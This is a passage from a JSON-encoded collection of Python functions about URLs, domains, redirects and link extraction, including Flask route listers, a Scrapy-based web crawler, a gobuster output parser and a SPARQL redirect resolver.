\\\"http://schema.org/rangeIncludes\\\" in record:\\n if isinstance(record[\\\"http://schema.org/rangeIncludes\\\"], dict):\\n response[\\\"range\\\"] = [record[\\\"http://schema.org/rangeIncludes\\\"][\\\"@id\\\"]]\\n elif isinstance(record[\\\"http://schema.org/rangeIncludes\\\"], list):\\n response[\\\"range\\\"] = [\\n _item[\\\"@id\\\"] for _item in record[\\\"http://schema.org/rangeIncludes\\\"]\\n ]\\n return (response[\\\"domain\\\"], response[\\\"range\\\"])\",\n \"def get_redirect_uris(\\n domains: List[str], redirect_path_sign_in: str, redirect_path_sign_out: str\\n) -> Dict[str, List[str]]:\\n return {\\n \\\"sign_in\\\": [f\\\"{domain}{redirect_path_sign_in}\\\" for domain in domains],\\n \\\"sign_out\\\": [f\\\"{domain}{redirect_path_sign_out}\\\" for domain in domains],\\n }\",\n \"def lookup(redirects, request):\\n\\n # Compute and cache `request.path` once, rather than recomputing for each\\n # redirect rule that the path is matched against.\\n path = request.path\\n\\n for redirect in redirects:\\n if redirect.prefix and path.startswith(redirect.src):\\n suffix = path.replace(redirect.src, \\\"\\\", 1)\\n return _dst_root(request, redirect) + suffix\\n if not redirect.prefix and path == redirect.src:\\n return _dst_root(request, redirect)\\n return None\",\n \"def process_trace(self, trace):\\n # type: (List[Span]) -> Optional[List[Span]]\\n for span in trace:\\n if span.parent_id is None and span.get_tag(http.URL) is not None:\\n url = span.get_tag(http.URL)\\n for regexp in self._regexps:\\n if regexp.match(url):\\n return None\\n return trace\",\n \"def get_urls(self, queries):\\n domains = defaultdict(list)\\n for q in queries:\\n q = \\\"\\\\\\\"\\\" + q + \\\"\\\\\\\"\\\"\\n results = self.engine.search(q)\\n\\n for result in results: \\n url = result.url\\n domain = self.get_domain(url)\\n domains[domain].append(q) \\n return domains\",\n \"def routes():\\n import urllib.request, urllib.parse, urllib.error\\n output = []\\n for rule in app.url_map.iter_rules():\\n options = {}\\n for arg in rule.arguments:\\n options[arg] = \\\"[{0}]\\\".format(arg)\\n methods = ','.join(rule.methods)\\n url = url_for(rule.endpoint, **options)\\n line = urllib.parse.unquote(\\\"{:50s} {:20s} {}\\\".format(rule.endpoint, methods, url))\\n output.append(line)\\n for line in sorted(output):\\n print (line)\",\n \"def hash_entries(entries):\\n d = dict()\\n for e in entries:\\n uri = e[\\\"uri\\\"]\\n domain = re.match(\\\"^/view\\\\d*/(.*)$\\\", uri).group(1)\\n if domain:\\n visitor_id = e[\\\"visitor_id\\\"]\\n if d.has_key(domain):\\n store_page_entries = d[domain]\\n store_page_entries.append(visitor_id)\\n else:\\n d[domain] = [visitor_id]\\n print \\\"Retrieved {0} unique domains.\\\".format(len(d))\\n return d\",\n \"def url_map():\\n from operator import itemgetter\\n\\n rules = []\\n for rule in app.url_map.iter_rules():\\n # Generate a human-readable path for the url\\n tmp = []\\n for is_dynamic, data in rule._trace:\\n if is_dynamic:\\n tmp.append(u'<%s>' % data)\\n else:\\n tmp.append(data)\\n path = ''.join(tmp).lstrip('|')\\n\\n # Figure out what auth decorator was used for the endpoint\\n view_func = app.view_functions[rule.endpoint]\\n if hasattr(view_func, '__authblueprint_authfunc__'):\\n auth = view_func.__authblueprint_authfunc__.__name__\\n else:\\n auth = 'NONE'\\n\\n rules.append(dict(\\n path = path,\\n endpoint = rule.endpoint,\\n methods = rule.methods,\\n auth = auth,\\n ))\\n\\n # Emit them nicely\\n last_blueprint = None\\n for rule in sorted(rules, key=itemgetter('endpoint')):\\n blueprint = rule['endpoint'].split('.')[0]\\n if not last_blueprint or blueprint != last_blueprint:\\n if last_blueprint:\\n print\\n print blueprint\\n print '-' * len(blueprint)\\n last_blueprint = blueprint\\n\\n print '%-75s %-30s -> %s (%s)' % (rule['path'], rule['auth'], rule['endpoint'], '/'.join(list(rule['methods'])))\",\n \"def _get_urls_drs(file_type, id, reference_name = None, start = None, end = None):\\n\\n file_exists = file_exists_drs(id)\\n if file_exists:\\n file_format = \\\"VCF\\\" \\n urls = _create_slices(CHUNK_SIZE, id, reference_name, start, end)\\n response = {\\n 'htsget': {\\n 'format': file_format,\\n 'urls': urls \\n }\\n }\\n return {\\\"response\\\": response, \\\"http_status_code\\\": 200}\\n else:\\n err = f\\\"No {file_type} found for id: {id}\\\" \\n return {\\\"response\\\": err, \\\"http_status_code\\\": 404}\",\n \"def check_uri_redirects(df, column, replace=True, custom_name_postfix=None, redirection_property=\\\"http://dbpedia.org/ontology/wikiPageRedirects\\\", endpoint=DBpedia, regex_filter=\\\"dbpedia\\\", bundled_mode=True, uri_data_model=False, progress=True, caching=True):\\n\\n if custom_name_postfix == \\\"\\\":\\n\\n raise ValueError(\\\"'custom_name_postfix' can't be an empty string. If you don't want to use a custom_name_postfix, please set the attribute to None\\\")\\n\\n df = df.copy()\\n\\n if bundled_mode and not uri_data_model:\\n\\n values = \\\" ( <\\\"+df[column].str.cat(sep=\\\"> ) ( <\\\")+\\\"> ) \\\"\\n\\n query = \\\"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {\\\" +values+\\\"} ?value <\\\"+redirection_property+\\\"> ?redirect . }\\\"\\n\\n result_df = endpoint_wrapper(query, endpoint, caching=caching).drop_duplicates().reset_index(drop=True)\\n\\n else: \\n \\n result_df = pd.DataFrame()\\n \\n if uri_data_model:\\n \\n query = \\\"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {(<**URI**>)} ?value <\\\"+redirection_property+\\\"> ?redirect . }\\\"\\n\\n result_df = uri_querier(df, column, query, regex_filter=regex_filter, progress=progress, caching=caching)\\n \\n else:\\n\\n for uri in df[column].iteritems():\\n\\n if pd.notna(uri[1]):\\n\\n query = \\\"SELECT DISTINCT ?value ?redirect WHERE {?value <\\\"+redirection_property+\\\"> ?redirect . FILTER (?value = <\\\"+uri[1]+\\\">) }\\\"\\n\\n result = endpoint_wrapper(query, endpoint, caching=caching)\\n\\n result_df = result_df.append(result)\\n\\n else:\\n pass\\n\\n result_df = result_df.rename({\\\"callret-0\\\": \\\"value\\\"}, axis=\\\"columns\\\").drop_duplicates().reset_index(drop=True)\\n\\n if result_df.empty:\\n\\n return df\\n\\n else:\\n\\n if custom_name_postfix == None:\\n\\n new_attribute_name = column+\\\"_redirect\\\"\\n\\n else:\\n\\n new_attribute_name = column+custom_name_postfix\\n\\n result_df = pd.merge(df, result_df, how=\\\"left\\\", left_on=column, right_on=\\\"value\\\").drop(\\\"value\\\",axis=1).rename(columns={\\\"redirect\\\":new_attribute_name})\\n\\n if replace:\\n\\n result_df.loc[(pd.isnull(result_df[new_attribute_name])), new_attribute_name] = result_df[column]\\n result_df.drop(column, axis=1, inplace=True)\\n result_df.rename(columns={new_attribute_name: column}, inplace=True)\\n\\n return result_df\",\n \"def service_urls(records, service='odp:url'):\\n service_string = 'urn:x-esri:specification:ServiceType:' + service\\n urls = []\\n for key, rec in records.items():\\n # Create a generator object, and iterate through it until the match is\\n # found if not found, gets the default value (here \\\"none\\\").\\n url = next((d['url'] for d in rec.references if\\n d['scheme'] == service_string), None)\\n if url is not None:\\n urls.append(url)\\n return urls\",\n \"def get_record_urls(split):\\n\\n stream = os.popen(f'gsutil ls {WAYMO_DATASET_BUCKET}/{split}')\\n urls = list(filter(None, stream.read().split('\\\\n')))\\n return urls\",\n \"def site_map(line):\\n args = shlex.split(line)\\n if len(args) > 0 and args[0] == 'p':\\n paths = True\\n else:\\n paths = False\\n ids = yield async_main_context_ids()\\n paths_set = set()\\n for reqid in ids:\\n req = yield Request.load_request(reqid)\\n if req.response and req.response.response_code != 404:\\n paths_set.add(req.path_tuple)\\n tree = sorted(list(paths_set))\\n if paths:\\n for p in tree:\\n print ('/'.join(list(p)))\\n else:\\n print_tree(tree)\",\n \"def copyurls(door):\\n return {name: Url(url.path) for name, url in door.urls.items()}\",\n \"def read_gobuster_output(url: str, output_path: str) -> set :\\n regex = re.compile(r\\\"^(\\\\/.*?) .*\\\\(Status: ([0-9]{3})\\\\).*\\\\[Size: [0-9]+\\\\](?: \\\\[--> (.*)\\\\])?$\\\")\\n results = set(())\\n with open(output_path, \\\"r\\\") as file_pointer:\\n raw_output = file_pointer.readlines()\\n for line in raw_output:\\n line = line.strip()\\n matches = regex.match(line)\\n if matches:\\n path, status, redirect_url = matches.groups()\\n if redirect_url and redirect_url.startswith(\\\"/\\\"):\\n results.add(urljoin(url, redirect_url))\\n elif redirect_url:\\n results.add(redirect_url)\\n else:\\n results.add(urljoin(url, path))\\n return results\",\n \"def collectLinks(self, output):\\n pass\",\n \"def _filter_entries_by_response(self, urls, har=None):\\r\\n if not har:\\r\\n har = self.har\\r\\n \\r\\n matches = []\\r\\n if len(har[\\\"log\\\"][\\\"entries\\\"]) > 1:\\r\\n for entry in har[\\\"log\\\"][\\\"entries\\\"]:\\r\\n for url in urls:\\r\\n if url in entry[\\\"request\\\"][\\\"url\\\"]:\\r\\n tempObject = {}\\r\\n if entry[\\\"response\\\"][\\\"status\\\"] == 200 and entry[\\\"response\\\"][\\\"content\\\"].get(\\\"text\\\") and entry[\\\"response\\\"][\\\"content\\\"][\\\"text\\\"] != \\\"\\\":\\r\\n tempObject['url'] = entry[\\\"request\\\"][\\\"url\\\"]\\r\\n tempObject['response'] = entry[\\\"response\\\"][\\\"content\\\"][\\\"text\\\"].encode('ascii', 'ignore')\\r\\n matches.append(tempObject)\\r\\n return matches\",\n \"def get_request_url(rule):\\n rule_result = []\\n for key, value in rule.items():\\n if (key == 'destination' or\\n key == 'destination_nat_address' or\\n key == 'source' or\\n key == 'source_nat_address') and value:\\n result = nat_network.get_request_network(value)\\n data = {\\n key:result\\n }\\n rule_result.append(data)\\n elif (key == 'service' or\\n key == 'destination_nat_service') and value:\\n result = nat_service.get_request_service(value)\\n data = {\\n key:result\\n }\\n rule_result.append(data)\\n else:\\n data = {\\n key:value\\n }\\n rule_result.append(data)\\n \\n final_result = []\\n final_result.append(dict(ChainMap(*rule_result)))\\n \\n return final_result\",\n \"def extract_domains(self, resp):\\n return\",\n \"def traverse_uris(uri):\\n seen = set()\\n uris_to_check = [uri]\\n while len(uris_to_check) > 0: \\n uri = uris_to_check.pop()\\n if uri not in seen:\\n seen.add(uri)\\n for key in keys_for_uri[uri]:\\n for uri2 in uris_for_key[key]:\\n if uri2 not in seen:\\n uris_to_check.append(uri2)\\n \\n return seen\",\n \"def __get_urls(self):\\n self.__valid_servers = {\\n \\\"qa\\\": {\\n \\\"server_url\\\": \\\"https://qa.api.deepaffex.ai:9443\\\",\\n \\\"websocket_url\\\": \\\"wss://qa.api.deepaffex.ai:9080\\\"\\n },\\n \\\"dev\\\": {\\n \\\"server_url\\\": \\\"https://dev.api.deepaffex.ai:9443\\\",\\n \\\"websocket_url\\\": \\\"wss://dev.api.deepaffex.ai:9080\\\"\\n },\\n \\\"demo\\\": {\\n \\\"server_url\\\": \\\"https://demo.api.deepaffex.ai:9443\\\",\\n \\\"websocket_url\\\": \\\"wss://demo.api.deepaffex.ai:9080\\\"\\n },\\n \\\"prod\\\": {\\n \\\"server_url\\\": \\\"https://api.deepaffex.ai:9443\\\",\\n \\\"websocket_url\\\": \\\"wss://api.deepaffex.ai:9080\\\"\\n },\\n \\\"prod-cn\\\": {\\n \\\"server_url\\\": \\\"https://api.deepaffex.cn:9443\\\",\\n \\\"websocket_url\\\": \\\"wss://api.deepaffex.cn:9080\\\"\\n },\\n \\\"demo-cn\\\": {\\n \\\"server_url\\\": \\\"https://demo.api.deepaffex.cn:9443\\\",\\n \\\"websocket_url\\\": \\\"wss://demo.api.deepaffex.cn:9080\\\"\\n }\\n }\\n try:\\n self.server_url = self.__valid_servers[self.server][\\\"server_url\\\"]\\n self.websocket_url = self.__valid_servers[self.server][\\\"websocket_url\\\"]\\n except KeyError:\\n raise KeyError(\\\"Invalid server ID given\\\")\",\n \"def location_links():\\n\\n try:\\n record_id = request.args[0]\\n except:\\n item = s3xrc.xml.json_message(False, 400, \\\"Need to specify a record ID!\\\")\\n raise HTTP(400, body=item)\\n\\n try:\\n # Shortcut\\n locations = db.gis_location\\n\\n deleted = (locations.deleted == False)\\n query = (locations.id == record_id)\\n query = deleted & query\\n record = db(query).select(locations.id, limitby=(0, 1)).first().id\\n except:\\n item = s3xrc.xml.json_message(False, 404, \\\"Record not found!\\\")\\n raise HTTP(404, body=item)\\n\\n # Find all tables which link to the Locations table\\n # @ToDo: Replace with db.gis_location._referenced_by\\n tables = shn_table_links(\\\"gis_location\\\")\\n\\n results = []\\n for table in tables:\\n for count in range(len(tables[table])):\\n field = tables[str(db[table])][count]\\n query = db[table][field] == record_id\\n _results = db(query).select()\\n module, resourcename = table.split(\\\"_\\\", 1)\\n for result in _results:\\n id = result.id\\n # We currently have no easy way to get the default represent for a table!\\n try:\\n # Locations & Persons\\n represent = eval(\\\"shn_%s_represent(id)\\\" % table)\\n except:\\n try:\\n # Organisations\\n represent = eval(\\\"shn_%s_represent(id)\\\" % resourcename)\\n except:\\n try:\\n # Many tables have a Name field\\n represent = (id and [db[table][id].name] or [\\\"None\\\"])[0]\\n except:\\n # Fallback\\n represent = id\\n results.append({\\n \\\"module\\\" : module,\\n \\\"resource\\\" : resourcename,\\n \\\"id\\\" : id,\\n \\\"represent\\\" : represent\\n })\\n\\n output = json.dumps(results)\\n return output\",\n \"def process_response(self, response):\\n\\n if response.status == 404:\\n return set()\\n\\n # store response HTTP code if not redirect\\n if not (response.status == 301 or response.status == 302):\\n if response.url not in self.crawled_urls:\\n self.crawled_urls[response.url] = response.status\\n\\n # some colorful printing\\n if self.verbose:\\n code = str(response.status)\\n extra_print = \\\"\\\"\\n if code[0] == \\\"2\\\":\\n color = util.GREEN\\n elif code[0] == \\\"3\\\":\\n color = util.BRIGHT_CYAN\\n extra_print = (util.BRIGHT_CYAN + \\\" --> \\\" + util.SANE +\\n response.headers[\\\"Location\\\"].decode())\\n elif code[0] == \\\"4\\\":\\n color = util.RED\\n elif code[0] == \\\"5\\\":\\n color = util.MAGENTA\\n else:\\n color = util.SANE\\n print_str = \\\" [\\\" + color + str(response.status) + util.SANE + \\\"] \\\" + response.url + extra_print\\n util.printit(print_str)\\n\\n # extract cookies and their paths from HTTP response header\\n cookie_paths = self.extract_cookies(response.headers.getlist(\\\"Set-Cookie\\\"), response.url)\\n cookie_urls = set()\\n for path in cookie_paths:\\n cookie_urls.add(self.to_absolute_url(path, response.urljoin))\\n\\n\\n # use scrapy's lxml linkextractor to extract links / URLs\\n scrapy_urls = set()\\n try:\\n # extract <base> URL's domain if a <base> tag exists\\n base_domain = \\\"\\\"\\n base_tag_sels = response.xpath(\\\"//base\\\")\\n for base_tag_sel in base_tag_sels:\\n href_sels = base_tag_sel.xpath(\\\"@href\\\")\\n if href_sels:\\n href = href_sels.extract_first()\\n base_domain = urllib.parse.urlparse(href).netloc\\n break\\n\\n # setup allowed domains and extract new links\\n allowed_domains = [self.domain, \\\"%s:%s\\\" % (self.domain, self.port)]\\n if base_domain:\\n allowed_domains.append(base_domain)\\n raw_scrapy_links = LinkExtractor(allow_domains=allowed_domains,\\n tags=(\\\"a\\\", \\\"area\\\", \\\"script\\\", \\\"link\\\", \\\"source\\\", \\\"img\\\"),\\n attrs=(\\\"src\\\", \\\"href\\\"),\\n deny_extensions=set()).extract_links(response)\\n raw_scrapy_urls = [link.url for link in raw_scrapy_links]\\n\\n # copy discovered URLs and additionally insert initial network location\\n scrapy_urls = raw_scrapy_urls.copy()\\n if base_domain and base_domain != allowed_domains[0] and base_domain != allowed_domains[1]:\\n orig_netloc = urllib.parse.urlparse(response.url).netloc\\n for scrapy_url in raw_scrapy_urls:\\n parsed_scrapy_url = list(urllib.parse.urlsplit(scrapy_url))\\n parsed_scrapy_url[1] = orig_netloc\\n scrapy_urls.append(urllib.parse.urlunsplit(parsed_scrapy_url))\\n scrapy_urls = set(scrapy_urls)\\n except (AttributeError, scrapy.exceptions.NotSupported) as e:\\n if str(e) == \\\"Response content isn't text\\\":\\n # stop processing and return no new URLs\\n return set()\\n raise e\\n\\n\\n # run the different URL / link discovery mechanisms\\n linkfinder_urls, dynamic_urls, form_urls, sub_urls = set(), set(), set(), set()\\n if self.config[\\\"use_linkfinder\\\"].lower() == \\\"true\\\":\\n linkfinder_urls = self.run_linkfinder(response.text, response.urljoin)\\n if self.config[\\\"use_selenium\\\"].lower() == \\\"true\\\":\\n dynamic_urls = self.extract_dynamic_urls(response.url)\\n if self.config[\\\"extract_info_from_forms\\\"].lower() == \\\"true\\\":\\n form_data = extract_form_data(response)\\n # extract new URLs and HTTP parameters from parsed form data\\n form_urls = self.process_form_data(form_data, response.urljoin)\\n\\n # extract sub URLs, i.e. URLs with parent paths\\n sub_urls = extract_sub_urls(response.url)\\n\\n # extract comments if configured\\n if self.config[\\\"extract_comments\\\"].lower() == \\\"true\\\":\\n self.extract_comments(response)\\n\\n # unite discovered URLs\\n urls = set()\\n urls |= cookie_urls\\n urls |= scrapy_urls\\n urls |= linkfinder_urls\\n urls |= dynamic_urls\\n urls |= form_urls\\n urls |= sub_urls\\n\\n # store info about redirect and add redirect URL to discovered URLs\\n if response.status == 301 or response.status == 302:\\n location = response.headers[\\\"Location\\\"].decode()\\n self.redirects[response.url] = {\\\"code\\\": response.status, \\\"to\\\": location}\\n urls.add(self.to_absolute_url(location, response.urljoin))\\n\\n # process all the discovered URLs, i.e. extract new information and decide which to crawl\\n yield_urls = set()\\n for url in urls:\\n # strip anchor\\n if \\\"#\\\" in url:\\n url = url[:url.rfind(\\\"#\\\")]\\n\\n # replace entities and parse URL\\n url = url.replace(\\\"&\\\", \\\"&\\\")\\n url = url.replace(\\\"&\\\", \\\"&\\\")\\n parsed_url = urllib.parse.urlparse(url)\\n\\n # disregard information about directory listing sorting\\n if parsed_url.path.endswith(\\\"/\\\") and re.match(\\\"C=[A-Z];O=[A-Z]\\\", parsed_url.query):\\n continue\\n\\n # extract GET parameters and cut URL if option is configured\\n params = {}\\n if parsed_url.query:\\n if self.config[\\\"crawl_parameter_links\\\"].lower() != \\\"true\\\":\\n url = \\\"%s://%s/%s\\\" % (parsed_url.scheme, parsed_url.netloc, parsed_url.path)\\n params = get_query_params(parsed_url.query)\\n elif url.endswith(\\\"?\\\"):\\n url = url[:-1]\\n\\n # add URL as instance of its path\\n if self.url_has_netloc(url) and params:\\n self.add_path_instance(parsed_url.path, params, {}, {})\\n\\n # skip already crawled URLs\\n if url in self.found_urls:\\n continue\\n self.found_urls.add(url)\\n\\n # skip URLs with different network location\\n if not self.url_has_netloc(url):\\n continue\\n if url == response.url:\\n continue\\n\\n # skip paths that are excluded from crawling\\n if self.exclude_paths and url.count(\\\"/\\\") > 2:\\n check_str = \\\"/\\\" + \\\"/\\\".join(url.split(\\\"/\\\")[3:])\\n if any(re_path.match(check_str) for re_path in self.exclude_paths):\\n continue\\n\\n # check whether to add this URL to the to-be-crawled URLs\\n if url not in yield_urls:\\n # limit the crawling depth\\n max_depth = int(self.config[\\\"max_depth\\\"])\\n if max_depth > 0:\\n depth = parsed_url.path.count(\\\"/\\\")\\n if depth > max_depth:\\n continue\\n\\n # limit the number of times a path can be crawled to avoid endless\\n # crawling upon GET parameter variation\\n if parsed_url.path not in self.crawled_paths:\\n self.crawled_paths[parsed_url.path] = 0\\n self.crawled_paths[parsed_url.path] += 1\\n if self.crawled_paths[parsed_url.path] > int(self.config[\\\"max_path_visits\\\"]):\\n continue\\n\\n yield_urls.add(url)\\n\\n return yield_urls\",\n \"def aggregate(entry):\\n file = urlopen(entry, context=ssl_context)\\n tree = ElementTree.parse(file)\\n\\n for sitemap in tree.getroot().findall(TAGS['SITEMAP']):\\n location = sitemap.find(TAGS['LOCATION'])\\n if location is not None:\\n yield location.text\\n\\n file.close()\",\n \"def get_input_domains():\\n df = pandas.read_excel(\\\"AutoScrapy/files/EBE21 - Top 100 Onlineshops to scrapp.ods\\\", engine=\\\"odf\\\")\\n list_of_addresses = df['Domain'].to_list()\\n list_of_addresses = [(\\\"http://\\\" + address) for address in list_of_addresses]\\n print(list_of_addresses)\\n return list_of_addresses\",\n \"def process_crawled_urls(self, webhost_map):\\n\\n for url, status_code in self.crawled_urls.items():\\n # store the URL's path in the web host map under the URL's status code\\n status_code_str = str(status_code)\\n parsed_url = urllib.parse.urlparse(url)\\n if status_code_str not in webhost_map:\\n webhost_map[status_code_str] = {}\\n if parsed_url.path not in webhost_map[status_code_str]:\\n webhost_map[status_code_str][parsed_url.path] = {}\\n cur_node = webhost_map[status_code_str][parsed_url.path]\\n\\n # if a (GET) query is present, add its parameters to the web host map\\n if parsed_url.query:\\n get_params = get_query_params(parsed_url.query)\\n if get_params:\\n if \\\"GET\\\" not in cur_node:\\n cur_node[\\\"GET\\\"] = []\\n for param in get_params:\\n if param not in cur_node[\\\"GET\\\"]:\\n cur_node[\\\"GET\\\"].append(param)\\n\\n if any(val for val in get_params.values()):\\n if \\\"instances\\\" not in cur_node:\\n cur_node[\\\"instances\\\"] = []\\n\\n if not any(i.get(\\\"GET\\\", {}) == get_params for i in cur_node[\\\"instances\\\"]):\\n instance = {\\\"GET\\\": get_params, \\\"POST\\\": {}, \\\"cookies\\\": {}}\\n cur_node[\\\"instances\\\"].append(instance)\",\n \"def get_unreviewed_redirects(site, namespace=\\\"0\\\"):\\n result = []\\n\\n def _submit_and_parse(request):\\n \\\"\\\"\\\"Divide the answer to the list of values and continue info.\\\"\\\"\\\"\\n answer = request.submit()\\n if \\\"pages\\\" not in answer[\\\"query\\\"]:\\n return ([], {})\\n values = list(answer[\\\"query\\\"][\\\"pages\\\"].values())\\n if \\\"query-continue\\\" in answer:\\n contin = answer[\\\"query-continue\\\"]\\n else:\\n contin = {}\\n return (values, contin)\\n\\n kwargs = {\\n \\\"action\\\": \\\"query\\\",\\n \\\"prop\\\": \\\"links\\\",\\n \\\"pllimit\\\": \\\"5000\\\",\\n \\\"generator\\\": \\\"unreviewedpages\\\",\\n \\\"gurnamespace\\\": namespace,\\n \\\"gurfilterredir\\\": \\\"redirects\\\",\\n \\\"gurlimit\\\": \\\"5000\\\"\\n }\\n\\n while True:\\n # iterate for gurstart, get list of redirects\\n request = Request(site=site, **kwargs)\\n (values, contin) = _submit_and_parse(request)\\n chunk = [{\\\"title\\\": value[\\\"title\\\"], \\\"links\\\": []} for value in values]\\n\\n while True:\\n # iterate for plcontinue, get list of links (ie target candidates)\\n for key, value in enumerate(values):\\n if \\\"links\\\" in value:\\n chunk[key][\\\"links\\\"] += [links[\\\"title\\\"] for links in value[\\\"links\\\"]]\\n if \\\"links\\\" in contin:\\n request[\\\"plcontinue\\\"] = contin[\\\"links\\\"][\\\"plcontinue\\\"]\\n (values, contin) = _submit_and_parse(request)\\n continue\\n else:\\n break\\n result += chunk\\n\\n if \\\"unreviewedpages\\\" in contin:\\n kwargs[\\\"gurstart\\\"] = contin[\\\"unreviewedpages\\\"][\\\"gurstart\\\"]\\n continue\\n else:\\n break\\n\\n # filter result: redirects with two or more links aren't any interesting for us\\n result = [(x[\\\"title\\\"], x[\\\"links\\\"][0]) for x in filter(lambda x: len(x[\\\"links\\\"]) == 1, result)]\\n return result\",\n \"def getFileAccessUrls(samweb, filenameorid, schema, locationfilter=None):\\n params = { \\\"schema\\\": schema }\\n if locationfilter:\\n params[\\\"location\\\"] = locationfilter\\n response = samweb.getURL(_make_file_path(filenameorid) + '/locations/url', params=params)\\n return convert_from_unicode(response.json())\",\n \"def parse_links(self, response):\\n urls = LinkExtractor(canonicalize=True, allow_domains=self.domain)\\\\\\n .extract_links(response)\\n\\n for link in urls:\\n # If link was already extracted on another page, don't save it\\n if link.url in self.unique_links:\\n continue\\n if 'watch?v' in link.url:\\n self.links_out_file.write('%s\\\\n' % link.url)\\n self.unique_links[link.url] = 1\",\n \"def domain_parser():\\n\\tinput_handle=\\\"blast_hits.fasta\\\"\\n\\t# File with: (1) the domains of each hit and (2) domains information\\n\\tdomains= \\\"domains_hits.txt\\\"\\n\\toutput_handle = open(domains, \\\"w\\\")\\n\\toutput_handle.write(\\\"#This file contains the domains of each hit.\\\\n#At the bottom, you will find detail information of all the domains detected.\\\\n\\\")\\n\\toutput_handle.write(\\\"#We strongly recommend to open this file with Visual Studio Code.\\\\n#Because when the names of the domains are too large, in regular editors the table looks awful.\\\\n\\\")\\n\\toutput_handle.write(\\\"#Here it is only showed how many times a pattern is present.\\\\n#In the figure of the domains you will find the position of each domain.\\\\n\\\\n\\\")\\n\\taccession_list=[] \\t# List of prosite.doc accessions of the domains that had been found\\n\\tdomains_dict=dict() # dictionary that saves matches\\n\\tcount=1\\n\\tmax_seq_len=0 # Keep larger sequence to plot x-axe\\n\\t# Loop to go through hits\\n\\tfor seq_record in SeqIO.parse(input_handle, \\\"fasta\\\"):\\n\\t\\toutput_handle.write(str(seq_record.id)+\\\"\\\\n\\\") # print identifier of the hit\\n\\t\\toutput_handle.write(str(seq_record.seq)+\\\"\\\\n\\\") # print sequence of the hit\\n\\t\\tif len(seq_record.seq)>max_seq_len:\\n\\t\\t\\tmax_seq_len=len(seq_record.seq)\\n\\t\\t# Make a table for each hit with the domains, that contains the following fields: name, accession, description and pattern\\n\\t\\tx=PrettyTable()\\n\\t\\tx.field_names=[\\\"name\\\",\\\"accession\\\",\\\"description\\\",\\\"pattern\\\",\\\"repetitions\\\"]\\n\\n\\t\\t# Loop to go through prosite domains\\n\\t\\thandle = open(\\\"prosite.dat\\\",\\\"r\\\")\\n\\t\\trecords = Prosite.parse(handle)\\n\\t\\tfor record in records:\\n\\t\\t\\t# prosite.dat preparation for parsing\\n\\t\\t\\t# {} -> [^]\\n\\t\\t\\tpattern = record.pattern.upper()\\n\\t\\t\\tpattern = pattern.replace(\\\"{\\\", \\\"[^\\\")\\n\\t\\t\\tpattern = pattern.replace(\\\"}\\\", \\\"]\\\")\\t\\n\\t\\t\\t# - -> \\\"\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\"-\\\", \\\"\\\")\\t\\n\\t\\t\\t# . -> \\\"\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\".\\\", \\\"\\\")\\t\\n\\t\\t\\t# X|x -> \\\"[ARNDCQEGHILKMFPSTWYV]\\\"\\n\\t\\t\\tAAS=\\\"[ARNDCQEGHILKMFPSTWYV]\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\"x\\\", AAS)\\n\\t\\t\\tpattern = pattern.replace(\\\"X\\\", AAS)\\t\\n\\t\\t\\t# () -> {}\\n\\t\\t\\tpattern = pattern.replace(\\\"(\\\", \\\"{\\\")\\n\\t\\t\\tpattern = pattern.replace(\\\")\\\", \\\"}\\\")\\t\\n\\n\\t\\t\\t# >] -> ]?$\\n\\t\\t\\tpattern = pattern.replace(\\\">]\\\", \\\"]?$\\\")\\t\\n\\n\\t\\t\\t# < -> ^\\n\\t\\t\\t# > -> $\\n\\t\\t\\tpattern = pattern.replace(\\\"<\\\", \\\"^\\\")\\t\\n\\t\\t\\tpattern = pattern.replace(\\\">\\\", \\\"$\\\")\\t\\n\\t\\t\\tif pattern != \\\"\\\":\\n\\t\\t\\t\\t# Look if the hit contains the current patter\\n\\t\\t\\t\\tif re.search(r\\\"\\\"+str(pattern), str(seq_record.seq).upper()): # if found\\n\\t\\t\\t\\t\\tif record.pdoc not in accession_list:\\n\\t\\t\\t\\t\\t\\t# Save pdoc accession in the list of prosite.doc accessions\\n\\t\\t\\t\\t\\t\\t# if it is not already\\n\\t\\t\\t\\t\\t\\taccession_list.append(record.pdoc)\\n\\t\\t\\t\\t\\tmatches = re.finditer(r\\\"\\\"+str(pattern), str(seq_record.seq).upper())\\n\\t\\t\\t\\t\\treps=0\\n\\t\\t\\t\\t\\tfor match in matches: # save all matches in a dictionary to plot them later\\n\\t\\t\\t\\t\\t\\tdomains_dict[count]=[seq_record.id, len(seq_record.seq),record.name,match.start(),match.end()]\\n\\t\\t\\t\\t\\t\\tcount=count+1\\n\\t\\t\\t\\t\\t\\treps=reps+1\\n\\t\\t\\t\\t\\tx.add_row([record.name,record.accession,record.description,record.pattern, reps]) # add found domain to table\\n\\n\\t\\toutput_handle.write(str(x)+\\\"\\\\n\\\") # add table of hit to domains_hits.txt\\n\\n\\t# At the end of the tables, print information of all the domains that had been found\\n\\toutput_handle.write(\\\"\\\\n\\\")\\n\\trecord_text_list=DocParser(accession_list)\\n\\tfor text in record_text_list:\\n\\t\\toutput_handle.write(text)\\n\\treturn (domains_dict,max_seq_len,accession_list)\",\n \"def extract_urls_with_indices(self, options = {'extract_url_without_protocol': True}):\\r\\n urls = []\\r\\n for match in REGEXEN['valid_url'].finditer(self.text):\\r\\n complete, before, url, protocol, domain, port, path, query = match.groups()\\r\\n start_position = match.start() + len(before or '')\\r\\n end_position = match.end()\\r\\n # If protocol is missing and domain contains non-ASCII characters,\\r\\n # extract ASCII-only domains.\\r\\n if not protocol:\\r\\n if not options.get('extract_url_without_protocol') or REGEXEN['invalid_url_without_protocol_preceding_chars'].search(before):\\r\\n continue\\r\\n last_url = None\\r\\n last_url_invalid_match = None\\r\\n for ascii_domain in REGEXEN['valid_ascii_domain'].finditer(domain):\\r\\n ascii_domain = ascii_domain.group()\\r\\n last_url = {\\r\\n 'url': ascii_domain,\\r\\n 'indices': [start_position - len(before or '') + complete.find(ascii_domain), start_position - len(before or '') + complete.find(ascii_domain) + len(ascii_domain)]\\r\\n }\\r\\n last_url_invalid_match = REGEXEN['invalid_short_domain'].search(ascii_domain) is not None\\r\\n if not last_url_invalid_match:\\r\\n urls.append(last_url)\\r\\n # no ASCII-only domain found. Skip the entire URL\\r\\n if not last_url:\\r\\n continue\\r\\n if path:\\r\\n last_url['url'] = url.replace(domain, last_url['url'])\\r\\n last_url['indices'][1] = end_position\\r\\n if last_url_invalid_match:\\r\\n 